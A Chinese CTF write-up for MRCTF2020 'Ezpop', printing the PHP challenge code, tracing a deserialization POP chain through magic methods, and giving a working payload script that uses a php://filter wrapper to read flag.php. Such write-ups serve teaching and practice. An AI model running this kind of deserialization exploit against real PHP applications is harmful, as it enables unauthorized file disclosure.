刷题[MRCTF2020]Ezpop

解题思路

打开一看直接是代码审计的题,就嗯审。最近可能都在搞反序列化,先把反序列化的题刷烂,理解理解

代码审计

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

看到反序列化函数,想到是反序列化的题了。类还行,不算很多,三个。一个一个分析

Modifier类

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

看到,我们需要反序列化的关键点了,include,文件包含漏洞,我们可以使用伪协议读取注释中flag.php中的内容

这里有魔法方法__invoke 当脚本尝试将对象调用为函数时触发,所以在脚本中,要把Modifier类调用为函数

Show类

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

看到这里有两个魔法方法:
__toString 把类当作字符串使用时触发
调用str属性里的source,这里还看不出来有什么用

__wakeup 使用反序列化函数时触发
过滤了source属性里的一些字符串,过滤了部分伪协议读取,但是还是有未过滤的伪协议可以读取flag.php中的内容

正好这里的wakeup方法可以触发tosring方法

Test类

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

这里有魔法方法:__get 从不可访问的属性中读取数据会触发
会返回function作为函数调用。

pop链

首先反序列化函数,触发Show类中的wakeup方法,wakeup方法做字符串处理,触发tosring方法,如果将str实例化为Test,因为Test类中不含source属性,所以调用get方法,将function实例化为Modifier类,即可触发其中invoke方法,最终调用文件包含函数,读取flag.php

payload

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
    public $source;
    public $str;
	public function __construct($file){
    $this->source = $file;
    }
    public function __toString(){
        return "karsa";
    }
}

class Test{
    public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));

解题

将base64解密,即得出flag

知识点

  • 代码审计
  • 反序列化寻找pop链
原文地址:https://www.cnblogs.com/karsa/p/12806945.html